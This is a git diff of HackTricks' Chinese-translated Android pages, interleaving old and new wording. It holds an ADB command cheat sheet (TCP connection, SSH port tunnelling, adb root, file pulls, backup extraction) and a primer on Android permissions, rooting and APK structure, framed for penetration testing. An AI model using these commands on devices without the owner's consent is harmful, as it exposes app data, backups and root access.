* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,19 +1,20 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Adb通常位于:**
|
||||
**Adb 通常位于:**
|
||||
```bash
|
||||
#Windows
|
||||
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
||||
|
@ -21,31 +22,31 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
|||
#MacOS
|
||||
/Users/<username>/Library/Android/sdk/platform-tools/adb
|
||||
```
|
||||
**信息获取自:** [**http://adbshell.com/**](http://adbshell.com)
|
||||
**信息来源:** [**http://adbshell.com/**](http://adbshell.com)
|
||||
|
||||
# 连接
|
||||
```
|
||||
adb devices
|
||||
```
|
||||
这将列出已连接的设备;如果出现"_**未授权**_",这意味着您必须**解锁**您的**手机**并**接受**连接。
|
||||
这将列出连接的设备;如果出现“_**未授权**_”,这意味着您必须**解锁**您的**手机**并**接受**连接。
|
||||
|
||||
这指示设备必须在端口5555上启动adb服务器:
|
||||
这向设备指示它必须在端口 5555 启动 adb 服务器:
|
||||
```
|
||||
adb tcpip 5555
|
||||
```
|
||||
连接到该 IP 和端口:
|
||||
连接到该IP和该端口:
|
||||
```
|
||||
adb connect <IP>:<PORT>
|
||||
```
|
||||
如果在虚拟Android软件(如Genymotion)中遇到以下错误:
|
||||
如果您在虚拟 Android 软件(如 Genymotion)中遇到以下错误:
|
||||
```
|
||||
adb server version (41) doesn't match this client (36); killing...
|
||||
```
|
||||
这是因为您正在尝试连接到具有不同版本的ADB服务器。只需尝试找到软件正在使用的adb二进制文件(转到 `C:\Program Files\Genymobile\Genymotion` 并搜索 adb.exe)
|
||||
因为您尝试连接到不同版本的 ADB 服务器。只需尝试找到软件正在使用的 adb 二进制文件(转到 `C:\Program Files\Genymobile\Genymotion` 并搜索 adb.exe)
|
||||
|
||||
## 多个设备
|
||||
|
||||
每当您发现**有多个设备连接到您的计算机**时,您需要**指定要在哪一个设备上**运行adb命令。
|
||||
每当您发现 **多个设备连接到您的机器** 时,您需要 **指定要在哪个设备上** 运行 adb 命令。
|
||||
```bash
|
||||
adb devices
|
||||
List of devices attached
|
||||
|
@ -58,9 +59,9 @@ adb -s 127.0.0.1:5555 shell
|
|||
x86_64:/ # whoami
|
||||
root
|
||||
```
|
||||
## 端口隧道
|
||||
## Port Tunneling
|
||||
|
||||
如果在安卓设备中 **adb** **端口** 只能从 **本地主机** 访问,但是 **你可以通过 SSH 访问**,你可以 **转发端口 5555** 并通过 adb 连接:
|
||||
如果 **adb** **端口** 仅在安卓设备的 **localhost** 上 **可访问**,但 **您可以通过 SSH 访问**,您可以 **转发端口 5555** 并通过 adb 连接:
|
||||
```bash
|
||||
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
|
||||
adb connect 127.0.0.1:5555
|
||||
|
@ -69,7 +70,7 @@ adb connect 127.0.0.1:5555
|
|||
|
||||
## 安装/卸载
|
||||
|
||||
### adb install \[选项] \<路径>
|
||||
### adb install \[option] \<path>
|
||||
```bash
|
||||
adb install test.apk
|
||||
|
||||
|
@ -85,15 +86,15 @@ adb install -d test.apk # allow version code downgrade
|
|||
|
||||
adb install -p test.apk # partial application install
|
||||
```
|
||||
### adb卸载 \[选项] \<包名>
|
||||
### adb uninstall \[options] \<PACKAGE>
|
||||
```bash
|
||||
adb uninstall com.test.app
|
||||
|
||||
adb uninstall -k com.test.app Keep the data and cache directories around after package removal.
|
||||
```
|
||||
## 包
|
||||
## Packages
|
||||
|
||||
打印所有包,可选择仅打印包名包含\<FILTER>文本的包。
|
||||
打印所有包,选项上只打印那些包名包含\<FILTER>文本的包。
|
||||
|
||||
### adb shell pm list packages \[options] \<FILTER-STR>
|
||||
```bash
|
||||
|
@ -117,13 +118,13 @@ adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to quer
|
|||
```
|
||||
### adb shell pm path \<PACKAGE>
|
||||
|
||||
打印给定应用的 APK 路径。
|
||||
打印给定 APK 的路径。
|
||||
```bash
|
||||
adb shell pm path com.android.phone
|
||||
```
|
||||
### adb shell pm clear \<PACKAGE>
|
||||
|
||||
删除与一个应用程序相关的所有数据。
|
||||
删除与包相关的所有数据。
|
||||
```bash
|
||||
adb shell pm clear com.test.abc
|
||||
```
|
||||
|
@ -131,19 +132,19 @@ adb shell pm clear com.test.abc
|
|||
|
||||
### adb pull \<remote> \[local]
|
||||
|
||||
从模拟器/设备下载指定文件到您的计算机。
|
||||
从模拟器/设备下载指定文件到你的计算机。
|
||||
```bash
|
||||
adb pull /sdcard/demo.mp4 ./
|
||||
```
|
||||
### adb push \<local> \<remote>
|
||||
|
||||
从您的计算机上传指定文件到模拟器/设备。
|
||||
将指定文件从计算机上传到模拟器/设备。
|
||||
```bash
|
||||
adb push test.apk /sdcard
|
||||
```
|
||||
# 屏幕截图/录屏
|
||||
# Screencapture/Screenrecord
|
||||
|
||||
### adb shell screencap \<文件名>
|
||||
### adb shell screencap \<filename>
|
||||
|
||||
对设备显示屏进行截图。
|
||||
```bash
|
||||
|
@ -151,7 +152,7 @@ adb shell screencap /sdcard/screen.png
|
|||
```
|
||||
### adb shell screenrecord \[options] \<filename>
|
||||
|
||||
记录运行Android 4.4(API级别19)及更高版本的设备显示。
|
||||
录制运行 Android 4.4(API 级别 19)及更高版本的设备的显示。
|
||||
```bash
|
||||
adb shell screenrecord /sdcard/demo.mp4
|
||||
adb shell screenrecord --size <WIDTHxHEIGHT>
|
||||
|
@ -160,27 +161,27 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
|
|||
adb shell screenrecord --rotate # Rotates 90 degrees
|
||||
adb shell screenrecord --verbose
|
||||
```
|
||||
(press Ctrl-C to stop recording)
|
||||
(按 Ctrl-C 停止录制)
|
||||
|
||||
**您可以使用 **_**adb pull**_ **下载文件(图像和视频)**
|
||||
**您可以使用 **_**adb pull**_ 下载文件(图像和视频)**
|
||||
|
||||
# Shell
|
||||
|
||||
### adb shell
|
||||
|
||||
在设备内部获取一个 shell
|
||||
获取设备内部的 shell
|
||||
```bash
|
||||
adb shell
|
||||
```
|
||||
### adb shell \<CMD>
|
||||
|
||||
在设备内部执行命令
|
||||
在设备内执行命令
|
||||
```bash
|
||||
adb shell ls
|
||||
```
|
||||
## pm
|
||||
|
||||
以下命令在shell内执行
|
||||
以下命令在 shell 内部执行
|
||||
```bash
|
||||
pm list packages #List installed packages
|
||||
pm path <package name> #Get the path to the apk file of tha package
|
||||
|
@ -189,42 +190,44 @@ am startservice [<options>] #Start a service. Whiout options you can see the hel
|
|||
am broadcast [<options>] #Send a broadcast. Whiout options you can see the help menu
|
||||
input [text|keyevent] #Send keystrokes to device
|
||||
```
|
||||
# 进程
|
||||
# Processes
|
||||
|
||||
如果您想获取应用程序进程的 PID,可以执行:
|
||||
如果您想获取应用程序进程的PID,可以执行:
|
||||
```bash
|
||||
adb shell ps
|
||||
```
|
||||
并搜索您的应用程序
|
||||
|
||||
或者您可以执行
|
||||
或者您可以这样做
|
||||
```bash
|
||||
adb shell pidof com.your.application
|
||||
```
|
||||
并且它将打印出该应用程序的PID
|
||||
它将打印应用程序的PID
|
||||
|
||||
# 系统
|
||||
```bash
|
||||
adb root
|
||||
```
|
||||
重新启动带有根权限的adbd守护程序。然后,您必须重新连接到ADB服务器,这样您将成为root用户(如果可用)。
|
||||
重启具有root权限的adbd守护进程。然后,您必须再次连接到ADB服务器,您将成为root(如果可用)。
|
||||
```bash
|
||||
adb sideload <update.zip>
|
||||
```
|
||||
## 日志
|
||||
flashing/restoring Android update.zip packages.
|
||||
|
||||
### Logcat
|
||||
# Logs
|
||||
|
||||
要**过滤只有一个应用程序的消息**,获取应用程序的 PID 并使用 grep(linux/macos)或 findstr(windows)来过滤 logcat 的输出:
|
||||
## Logcat
|
||||
|
||||
要**仅过滤一个应用程序的消息**,获取该应用程序的PID,并使用grep(linux/macos)或findstr(windows)来过滤logcat的输出:
|
||||
```bash
|
||||
adb logcat | grep 4526
|
||||
adb logcat | findstr 4526
|
||||
```
|
||||
### adb logcat \[选项] \[过滤规则]
|
||||
### adb logcat \[option] \[filter-specs]
|
||||
```bash
|
||||
adb logcat
|
||||
```
|
||||
注意:按Ctrl-C停止监视
|
||||
Notes: 按 Ctrl-C 停止监视
|
||||
```bash
|
||||
adb logcat *:V # lowest priority, filter to only show Verbose level
|
||||
|
||||
|
@ -240,7 +243,7 @@ adb logcat *:F # filter to only show Fatal level
|
|||
|
||||
adb logcat *:S # Silent, highest priority, on which nothing is ever printed
|
||||
```
|
||||
### adb logcat -b \<缓冲区>
|
||||
### adb logcat -b \<Buffer>
|
||||
```bash
|
||||
adb logcat -b # radio View the buffer that contains radio/telephony related messages.
|
||||
|
||||
|
@ -260,7 +263,7 @@ adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
|
|||
```
|
||||
## dumpsys
|
||||
|
||||
**dumpsys**用于转储系统数据
|
||||
转储系统数据
|
||||
|
||||
### adb shell dumpsys \[options]
|
||||
```bash
|
||||
|
@ -270,7 +273,7 @@ adb shell dumpsys meminfo
|
|||
|
||||
adb shell dumpsys battery
|
||||
```
|
||||
注意:运行Android 5.0或更高版本的移动设备已启用开发者选项。
|
||||
Notes: 一台启用了开发者选项的移动设备,运行Android 5.0或更高版本。
|
||||
```bash
|
||||
adb shell dumpsys batterystats collects battery data from your device
|
||||
```
|
||||
|
@ -278,12 +281,12 @@ adb shell dumpsys batterystats collects battery data from your device
|
|||
```bash
|
||||
adb shell dumpsys batterystats --reset erases old collection data
|
||||
```
|
||||
```plaintext
|
||||
```markdown
|
||||
adb shell dumpsys activity
|
||||
|
||||
# 备份
|
||||
|
||||
从adb备份安卓设备。
|
||||
通过adb备份安卓设备。
|
||||
```
|
||||
```bash
|
||||
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
||||
|
@ -300,16 +303,17 @@ adb restore myapp_backup.ab # restore to the same or any other
|
|||
```bash
|
||||
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# Android 应用基础
|
||||
# Android Applications Basics
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
- 如果您想看到您的公司在 HackTricks 中被广告,或者下载 HackTricks 的 PDF 版本,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
|
||||
- **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard 安全团队**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -22,125 +23,126 @@
|
|||
|
||||
***
|
||||
|
||||
## Android 安全模型
|
||||
## Android Security Model
|
||||
|
||||
**有两个层次:**
|
||||
|
||||
- **操作系统**,将安装的应用程序相互隔离。
|
||||
- **应用程序本身**,允许开发人员**公开某些功能**并配置应用程序功能。
|
||||
* **操作系统**,它使已安装的应用程序彼此隔离。
|
||||
* **应用程序本身**,它允许开发人员**暴露某些功能**并配置应用程序能力。
|
||||
|
||||
### UID 分离
|
||||
|
||||
**每个应用程序被分配一个特定的用户 ID**。这是在应用程序安装期间完成的,因此**应用程序只能与其用户 ID 拥有的文件交互**或共享文件。因此,只有应用程序本身、操作系统的某些组件和 root 用户可以访问应用程序的数据。
|
||||
**每个应用程序被分配一个特定的用户 ID**。这在应用程序安装期间完成,因此**应用程序只能与其用户 ID 所拥有的文件或共享文件进行交互**。因此,只有应用程序本身、操作系统的某些组件和 root 用户可以访问应用程序数据。
|
||||
|
||||
### UID 共享
|
||||
|
||||
**两个应用程序可以配置为使用相同的 UID**。这可能有助于共享信息,但如果其中一个受到损害,则两个应用程序的数据都将受到损害。这就是为什么这种行为是**不鼓励**的。\
|
||||
**两个应用程序可以配置为使用相同的 UID**。这可以用于共享信息,但如果其中一个被攻破,则两个应用程序的数据都会受到影响。这就是为什么这种行为**不被鼓励**。\
|
||||
**要共享相同的 UID,应用程序必须在其清单中定义相同的 `android:sharedUserId` 值。**
|
||||
|
||||
### 沙箱
|
||||
|
||||
**Android 应用程序沙箱**允许将**每个应用程序**作为**单独的进程在单独的用户 ID 下运行**。每个进程都有自己的虚拟机,因此应用程序的代码在与其他应用程序隔离的环境中运行。\
|
||||
从 Android 5.0(L)开始,**SELinux** 被强制执行。基本上,SELinux 拒绝了所有进程交互,然后创建策略**仅允许它们之间的预期交互**。
|
||||
**Android 应用程序沙箱**允许**每个应用程序**作为**在单独用户 ID 下的单独进程**运行。每个进程都有自己的虚拟机,因此应用程序的代码与其他应用程序隔离运行。\
|
||||
从 Android 5.0(L) 开始,**SELinux** 被强制执行。基本上,SELinux 拒绝所有进程交互,然后创建策略以**仅允许它们之间的预期交互**。
|
||||
|
||||
### 权限
|
||||
|
||||
当您安装一个**应用程序并请求权限**时,该应用程序正在请求在 **AndroidManifest.xml** 文件中配置的 **`uses-permission`** 元素中配置的权限。**uses-permission** 元素指示请求的权限的名称在 **name** **属性**中。它还具有 **maxSdkVersion** 属性,该属性在高于指定版本的版本上停止请求权限。\
|
||||
请注意,Android 应用程序不需要在开始时请求所有权限,它们也可以**动态请求权限**,但所有权限必须在**清单中声明**。
|
||||
当你安装一个**应用程序并请求权限**时,应用程序是在请求**AndroidManifest.xml** 文件中配置的**`uses-permission`** 元素中的权限。**uses-permission** 元素在**name** **属性中指示请求的权限名称。**它还有**maxSdkVersion** 属性,该属性在版本高于指定版本时停止请求权限。\
|
||||
请注意,Android 应用程序不需要在开始时请求所有权限,它们也可以**动态请求权限**,但所有权限必须在**清单中声明。**
|
||||
|
||||
当应用程序公开功能时,它可以限制**仅允许具有特定权限的应用程序访问**。\
|
||||
权限元素具有三个属性:
|
||||
当应用程序暴露功能时,它可以限制**仅允许具有指定权限的应用程序访问**。\
|
||||
权限元素有三个属性:
|
||||
|
||||
- 权限的**名称**
|
||||
- **permission-group** 属性,允许对相关权限进行分组。
|
||||
- **protection-level**,指示权限如何授予。有四种类型:
|
||||
- **Normal**:当应用程序**没有已知威胁**时使用。用户**无需批准**。
|
||||
- **Dangerous**:指示权限授予请求应用程序一些**提升的访问权限**。**用户被要求批准**。
|
||||
- **Signature**:只有**由与导出组件相同的证书签名的应用程序**可以被授予权限。这是最强大的保护类型。
|
||||
- **SignatureOrSystem**:只有**由与导出组件相同的证书签名的应用程序**或**以系统级访问权限运行的应用程序**可以被授予权限。
|
||||
* 权限的**名称**
|
||||
* **permission-group** 属性,允许对相关权限进行分组。
|
||||
* **protection-level**,指示权限的授予方式。共有四种类型:
|
||||
* **Normal**:用于**没有已知威胁**的应用程序。用户**不需要批准**它。
|
||||
* **Dangerous**:指示权限授予请求应用程序某些**提升的访问权限**。**请求用户批准**。
|
||||
* **Signature**:只有**由与导出组件相同证书签名的应用程序**才能获得权限。这是最强的保护类型。
|
||||
* **SignatureOrSystem**:只有**由与导出组件相同证书签名的应用程序**或**以系统级访问权限运行的应用程序**才能获得权限。
|
||||
|
||||
## 预安装应用程序
|
||||
## 预装应用程序
|
||||
|
||||
这些应用程序通常位于 **`/system/app`** 或 **`/system/priv-app`** 目录中,其中一些应用程序是**经过优化的**(您甚至可能找不到 `classes.dex` 文件)。这些应用程序值得检查,因为有时它们以**root 权限运行**。
|
||||
这些应用程序通常位于**`/system/app`** 或 **`/system/priv-app`** 目录中,其中一些是**优化过的**(你可能甚至找不到 `classes.dex` 文件)。这些应用程序值得检查,因为有时它们**运行的权限过多**(作为 root)。
|
||||
|
||||
- 与 **AOSP**(Android 开源项目)**ROM** 一起提供的应用程序
|
||||
- 设备制造商添加的
|
||||
- 手机提供商添加的(如果从他们那里购买)
|
||||
* 随 **AOSP**(Android 开源项目)**ROM** 一起提供的应用程序
|
||||
* 由设备**制造商**添加的
|
||||
* 由手机**提供商**添加的(如果是从他们那里购买的)
|
||||
|
||||
## Rooting
|
||||
|
||||
为了在物理 Android 设备上获得 root 访问权限,通常需要**利用** 1 或 2 个**漏洞**,这些漏洞通常是**特定于** **设备** 和 **版本** 的。\
|
||||
一旦利用成功,通常会将 Linux `su` 二进制文件复制到用户的 PATH 环境变量中指定的位置,如 `/system/xbin`。
|
||||
为了获得对物理 Android 设备的 root 访问权限,通常需要**利用** 1 或 2 个**漏洞**,这些漏洞通常是**特定**于**设备**和**版本**的。\
|
||||
一旦漏洞成功,通常会将 Linux `su` 二进制文件复制到用户 PATH 环境变量中指定的位置,如 `/system/xbin`。
|
||||
|
||||
配置 su 二进制文件后,另一个 Android 应用程序用于与 `su` 二进制文件进行交互,并**处理对 root 访问的请求**,如 **Superuser** 和 **SuperSU**(在 Google Play 商店中可用)。
|
||||
一旦配置了 su 二进制文件,另一个 Android 应用程序将用于与 `su` 二进制文件接口并**处理 root 访问请求**,如 **Superuser** 和 **SuperSU**(在 Google Play 商店中可用)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,root 过程非常危险,可能会严重损坏设备
|
||||
请注意,rooting 过程非常危险,可能会严重损坏设备
|
||||
{% endhint %}
|
||||
|
||||
### ROM
|
||||
### ROMs
|
||||
|
||||
可以通过**安装自定义固件**来**替换操作系统**。这样做可以扩展旧设备的用途,绕过软件限制或访问最新的 Android 代码。\
|
||||
**OmniROM** 和 **LineageOS** 是最受欢迎的两种固件。
|
||||
可以通过**安装自定义固件来替换操作系统**。这样可以扩展旧设备的使用价值,绕过软件限制或获得最新的 Android 代码。\
|
||||
**OmniROM** 和 **LineageOS** 是两个最流行的固件。
|
||||
|
||||
请注意,**并非总是需要对设备进行 root** 才能安装自定义固件。**一些制造商允许**以记录完整且安全的方式**解锁其引导加载程序**。
|
||||
请注意,**并不总是需要 root 设备**才能安装自定义固件。**一些制造商允许**以良好文档和安全的方式解锁其引导加载程序。
|
||||
|
||||
### 影响
|
||||
|
||||
一旦设备被 root,任何应用程序都可以请求 root 访问权限。如果恶意应用程序获得了它,它将可以访问几乎所有内容,并且可以损坏手机。
|
||||
一旦设备被 root,任何应用程序都可以请求 root 访问。如果恶意应用程序获得了它,它将几乎可以访问所有内容,并能够损坏手机。
|
||||
|
||||
## Android 应用程序基础 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
## Android Application Fundamentals <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Android 应用程序的格式称为 _APK 文件格式_。本质上是一个**ZIP 文件**(通过将文件扩展名更改为 .zip,可以提取和查看内容)。
|
||||
- Android 应用程序的格式被称为 _APK 文件格式_。它本质上是一个**ZIP 文件**(通过将文件扩展名重命名为 .zip,可以提取和查看内容)。
|
||||
- APK 内容(不详尽)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc:包含预编译资源,如二进制 XML。
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- 这是证书的位置!
|
||||
- **classes.dex**
|
||||
- 包含 Dalvik 字节码,表示应用程序默认执行的编译 Java(或 Kotlin)代码。
|
||||
- lib/
|
||||
- 包含本机库,按 CPU 架构分隔在子目录中。
|
||||
- `armeabi`:针对基于 ARM 的处理器的代码
|
||||
- `armeabi-v7a`:针对基于 ARMv7 及更高版本的处理器的代码
|
||||
- `x86`:针对 X86 处理器的代码
|
||||
- `mips`:仅针对 MIPS 处理器的代码
|
||||
- assets/
|
||||
- 存储应用程序需要的其他杂项文件,可能包括其他本机库或 DEX 文件,有时被恶意软件作者用于隐藏其他代码。
|
||||
- res/
|
||||
- 包含未编译为 resources.arsc 的资源
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc:包含预编译资源,如二进制 XML。
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- 这里是证书所在的位置!
|
||||
- **classes.dex**
|
||||
- 包含 Dalvik 字节码,表示应用程序默认执行的编译 Java(或 Kotlin)代码。
|
||||
- lib/
|
||||
- 存放本地库,按 CPU 架构在子目录中分隔。
|
||||
- `armeabi`:ARM 处理器的代码
|
||||
- `armeabi-v7a`:ARMv7 及更高版本处理器的代码
|
||||
- `x86`:X86 处理器的代码
|
||||
- `mips`:仅 MIPS 处理器的代码
|
||||
- assets/
|
||||
- 存储应用程序所需的杂项文件,可能包括额外的本地库或 DEX 文件,有时被恶意软件作者用来隐藏额外代码。
|
||||
- res/
|
||||
- 包含未编译到 resources.arsc 中的资源。
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
在Android开发中,使用**Java或Kotlin**来创建应用程序。Android将此代码编译为**Dalvik可执行(DEX)字节码**,而不是像桌面应用程序那样使用JVM。以前,Dalvik虚拟机处理这些字节码,但现在,在较新的Android版本中,Android Runtime(ART)接管了这一任务。
|
||||
在 Android 开发中,**Java 或 Kotlin** 用于创建应用程序。与桌面应用程序使用 JVM 不同,Android 将此代码编译为**Dalvik 可执行文件(DEX 字节码)**。早期,Dalvik 虚拟机处理此字节码,但现在,Android Runtime (ART) 在较新版本的 Android 中接管。
|
||||
|
||||
对于逆向工程,**Smali**变得至关重要。它是DEX字节码的可读版本,类似汇编语言,通过将源代码转换为字节码指令来实现。在这个上下文中,Smali和baksmali是指汇编和反汇编工具。
|
||||
对于逆向工程,**Smali** 变得至关重要。它是 DEX 字节码的人类可读版本,像汇编语言一样通过将源代码转换为字节码指令。Smali 和 baksmali 在此上下文中指代汇编和反汇编工具。
|
||||
|
||||
## 意图(Intents)
|
||||
## Intents
|
||||
|
||||
意图是Android应用程序在其组件之间或与其他应用程序之间进行通信的主要手段。这些消息对象还可以在应用程序或组件之间传递数据,类似于HTTP通信中使用GET/POST请求的方式。
|
||||
Intents 是 Android 应用程序在其组件之间或与其他应用程序之间通信的主要方式。这些消息对象还可以在应用程序或组件之间携带数据,类似于 HTTP 通信中使用的 GET/POST 请求。
|
||||
|
||||
因此,意图基本上是**在组件之间传递的消息**。意图**可以定向**到特定组件或应用程序,**也可以发送给没有特定接收方**。\
|
||||
简单来说,意图可以用于:
|
||||
因此,Intent 基本上是**在组件之间传递的消息**。Intents **可以定向**到特定组件或应用程序,**也可以在没有特定接收者的情况下发送**。\
|
||||
简单来说,Intent 可以用于:
|
||||
|
||||
* 启动一个Activity,通常是打开应用程序的用户界面
|
||||
* 作为广播通知系统和应用程序发生变化
|
||||
* 启动一个 Activity,通常打开应用程序的用户界面
|
||||
* 作为广播通知系统和应用程序的变化
|
||||
* 启动、停止和与后台服务通信
|
||||
* 通过ContentProviders访问数据
|
||||
* 作为回调来处理事件
|
||||
* 通过 ContentProviders 访问数据
|
||||
* 作为回调处理事件
|
||||
|
||||
如果存在漏洞,**意图可以用于执行各种攻击**。
|
||||
